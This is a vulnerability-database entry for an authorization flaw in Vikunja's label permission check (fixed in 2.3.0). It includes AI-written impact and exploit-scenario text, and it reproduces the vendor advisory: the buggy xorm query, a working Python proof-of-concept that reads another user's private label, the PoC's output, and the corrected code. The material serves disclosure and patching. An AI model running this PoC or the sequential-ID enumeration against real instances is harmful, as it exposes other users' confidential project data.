EUVD-2026-21420
GHSA-hj5c-mhh2-g7jq
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | This vulnerability presents moderate real-world risk despite the low CVSS score of 4.3. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) reflects authenticated network access with low complexity and confidentiality impact only, appropriately capturing the information disclosure nature. However, several contextual factors elevate practical risk: (1) The authentication requirement (PR:L) is low-any user account on the Vikunja instance qualifies, and account creation is often unrestricted; (2) the attack is trivially automatable given sequential label IDs, enabling bulk enumeration of all labels across all projects; (3) the leaked information (creator usernames, label titles like 'CONFIDENTIAL-REVENUE') can facilitate social engineering, credential targeting, or business intelligence gathering; (4) instances with multi-tenant or privacy-sensitive deployments face heightened exposure. The vulnerability is not marked as actively exploited in CISA KEV, but the public proof-of-concept and straightforward exploitation path mean active exploitation is plausible post-disclosure. Remediation is critical for instances with strict access controls or sensitive label hierarchies, though the impact remains contained to metadata disclosure rather than data exfiltration or integrity violation. Organizations managing shared workspaces or using Vikunja in regulated environments should prioritize patching. |
| Exploit ScenarioDerived | An attacker with a low-privilege account on a shared Vikunja instance (e.g., newly registered free user) authenticates via API token and systematically enumerates label IDs starting from 1 (sequential integers as noted in the advisory). For each label with an attached task, the attacker retrieves the full metadata including title, description, hex color, and creator user information via GET /api/v1/labels/{id}. This allows harvesting of confidential labels such as 'CONFIDENTIAL-REVENUE', 'SECURITY-INCIDENT-Q4', or project-specific labels from private projects without any access grants. The attacker learns creator usernames and can cross-reference them for targeted social engineering or credential attacks. The attack requires only basic authentication (PR:L) with no user interaction and is easily scripted; the proof-of-concept provided in the advisory demonstrates successful execution in under 10 lines of Python against a default Vikunja setup. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 10, 2026
Vikunja API versions prior to 2.3.0 allow authenticated users to read any label metadata and creator information across projects via SQL operator precedence flaw in the hasAccessToLabel function. Any label attached to at least one task becomes readable to all authenticated users regardless of project access permissions, enabling cross-project information disclosure of label titles, descriptions, colors, and creator usernames. The vulnerability requires prior authentication (PR:L per CVSS vector) and carries low complexity attack surface with direct impact to confidentiality. No public exploit code beyond the proof-of-concept in the advisory has been identified, and vendor-released patch version 2.3.0 is available.
RemediationAI
Upgrade Vikunja to version 2.3.0 or later, which includes the patched hasAccessToLabel function with explicit builder.And/builder.Or grouping to enforce correct SQL operator precedence. The vendor-released patch is available at https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0. Upstream fix commit fc216c38afaa51dd56dde7a97343d2148ecf24c1 (merged via PR #2578) provides the implementation details. For users unable to upgrade immediately, audit access control configurations and monitor API logs for anomalous label enumeration patterns (repeated GET requests to /api/v1/labels with varying IDs from single authenticated accounts). The advisory at https://github.com/go-vikunja/vikunja/security/advisories/GHSA-hj5c-mhh2-g7jq provides additional context. No additional workarounds are available; patching is the primary remediation path.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in Vikunja's Go API codebase (CPE: pkg:go/code.vikunja.io_api) within the label permission checking logic at pkg/models/label_permissions.go:85-91. The root cause is a CWE-863 (Incorrect Authorization) vulnerability stemming from improper SQL operator precedence in the xorm ORM query builder. The hasAccessToLabel function chains WHERE, Or, and And clauses without explicit parenthetical grouping, resulting in SQL that evaluates as WHERE (label_tasks.label_id IS NOT NULL) OR (other_conditions) OR (project_access_check AND label_id). Because SQL AND has higher precedence than OR, the final label_id constraint binds only to the project access condition rather than the entire permission check. This allows the unconstrained task association check to pass for any label with at least one task, bypassing the intended project-level access control. The xorm library's fluent API does not provide implicit precedence handling, requiring explicit builder.And/builder.Or calls with proper nesting to produce secure SQL.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Primary rating from Vendor (https://github.com/go-vikunja/vikunja).
CVSS VectorVendor: https://github.com/go-vikunja/vikunja
Lifecycle Timeline
2DescriptionCVE.org
Summary
The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.
Details
The access control query at pkg/models/label_permissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID).
Or(cond).
And("labels.id = ?", l.ID).
Exist(ll)The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while label_tasks.label_id IS NOT NULL (part of A) remains unconstrained.
Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.
Proof of Concept
Tested on Vikunja v2.2.2.
import requests
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def login(u, p):
return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
a_token = login("labeler", "Labeler123!")
b_token = login("snooper", "Snooper123!")
# labeler creates private project, label, task, and assigns label
proj = requests.put(f"{API}/projects", headers=h(a_token),
json={"title": "Private Project"}).json()
label = requests.put(f"{API}/labels", headers=h(a_token),
json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token),
json={"title": "Q4 revenue data"}).json()
requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token),
json={"label_id": label["id"]})
# snooper reads the label from labeler's private project
r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token))
print(f"GET /labels/{label['id']}: {r.status_code}")
# 200 - should be 403
if r.status_code == 200:
data = r.json()
print(f"Title: {data['title']}")
# CONFIDENTIAL-REVENUE
print(f"Creator: {data['created_by']['username']}")
# labelerOutput:
GET /labels/1: 200
Title: CONFIDENTIAL-REVENUE
Creator: labelerLabel IDs are sequential integers, making enumeration straightforward.
Impact
Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.
Recommended Fix
Use explicit builder.And/builder.Or grouping:
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where(builder.And(
builder.Eq{"labels.id": l.ID},
builder.Or(
builder.And(builder.Expr("label_tasks.label_id is not null"), cond),
builder.Eq{"labels.created_by_id": createdByID},
),
)).
Exist(ll)--- *Found and reported by aisafe.io*
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Related Vulnerabilities in Vikunja Multiple Authorization and Injection
View all 11Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-863 – Incorrect Authorization
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Exploit-DB